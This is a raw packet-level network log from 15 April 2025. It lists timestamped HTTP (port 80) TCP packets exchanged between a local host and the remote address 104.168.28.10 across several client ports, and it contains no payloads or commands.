Apr 15, 2025 11:33:47.686397076 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686430931 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686439991 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686465025 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686500072 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686513901 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686534882 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686588049 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686592102 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686620951 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686654091 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686672926 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686686039 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686718941 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686745882 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686750889 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686785936 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686806917 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686817884 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686851025 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686863899 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686886072 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686919928 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686940908 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.686955929 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686989069 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.686997890 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.687021971 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.687055111 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.687072039 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.687088013 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.687120914 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.687155008 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.687155008 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.687196970 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.687556982 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.687592030 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.687634945 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.688204050 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.688440084 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.688476086 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.688496113 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.688771009 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.688832998 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.689240932 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689275026 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689306974 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689318895 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.689342022 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689426899 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689440012 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.689460993 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689496994 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689502954 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.689532042 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689564943 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689603090 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689618111 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.689640045 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689651012 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.689954042 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689961910 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.689996004 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690023899 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690032959 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690052032 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690067053 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690099955 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690131903 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690131903 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690167904 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690181017 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690202951 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690237045 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690248013 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690270901 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690305948 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690325022 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690339088 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690371990 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690387011 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690404892 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690438986 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690450907 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690473080 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690509081 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690519094 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690542936 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690576077 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690594912 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690609932 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690643072 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690661907 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690675020 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690707922 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690718889 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690742970 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690783024 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690788984 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690817118 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690850973 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690871000 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690884113 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690916061 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690936089 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.690948963 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690983057 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.690993071 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691015959 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691051006 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691062927 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691085100 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691118956 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691135883 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691157103 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691189051 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691209078 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691221952 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691265106 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691273928 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691276073 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691287994 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691322088 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691323042 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691355944 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691366911 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691389084 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691421986 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691441059 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691453934 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691488981 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691502094 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691521883 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691556931 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691590071 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691590071 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691625118 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691646099 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691658974 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691692114 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691706896 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691725969 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691759109 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691781998 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691791058 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691823959 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691836119 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691857100 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691890955 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691901922 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691926003 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691960096 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.691975117 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.691994905 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692027092 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692044973 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692059994 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692095041 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692111969 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692128897 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692164898 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692179918 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692198992 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692233086 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692245007 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692285061 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692321062 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692337990 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692358971 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692394018 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692413092 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692425013 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692459106 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692472935 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692497015 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692559958 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692583084 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692594051 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692627907 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692635059 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692673922 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692686081 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692693949 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692718983 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692728043 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692754030 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692764044 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692804098 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692814112 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692817926 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692847967 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692873001 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692881107 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692914963 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692936897 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.692948103 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692981005 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.692996979 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693015099 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693041086 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693057060 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693074942 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693077087 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693093061 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693113089 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693126917 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693128109 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693142891 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693154097 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693161964 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693173885 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693177938 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693193913 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693203926 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693209887 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693224907 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693243027 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693255901 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693259001 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693275928 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693289995 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693300009 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693304062 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693305969 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693320990 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693336964 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693336010 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693352938 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693367958 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693384886 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693391085 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693406105 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693406105 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693423033 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693437099 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693439007 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693453074 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693469048 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693475962 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693485022 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693500996 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693515062 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693516970 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693532944 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693538904 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693547964 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693563938 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693568945 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693579912 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693593979 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693597078 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693613052 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693634987 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693634987 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693644047 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693654060 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693661928 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693661928 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693669081 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693671942 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693680048 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693686962 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693695068 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693696976 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693706036 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693713903 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693713903 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693721056 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693737030 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693739891 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693753004 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693756104 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693769932 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693773985 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693785906 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693802118 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693803072 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693815947 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693830013 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693835974 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693844080 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693846941 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693859100 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693861961 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693877935 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693893909 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693908930 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693912029 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693924904 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693933964 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693941116 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693957090 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693958998 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693981886 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693988085 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.693989992 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.693999052 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694008112 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694009066 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694015980 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694017887 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694024086 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694026947 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694042921 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694047928 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694058895 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694075108 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694076061 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694089890 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694093943 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694101095 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694106102 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694122076 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694140911 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694142103 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694159985 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694175959 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694176912 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694191933 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694211006 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694216967 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694227934 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694242954 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694245100 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694262028 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694278002 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694291115 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694293976 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694303989 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694309950 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694328070 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694339991 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694351912 CEST	80	49709	104.168.28.10	192.168.2.5
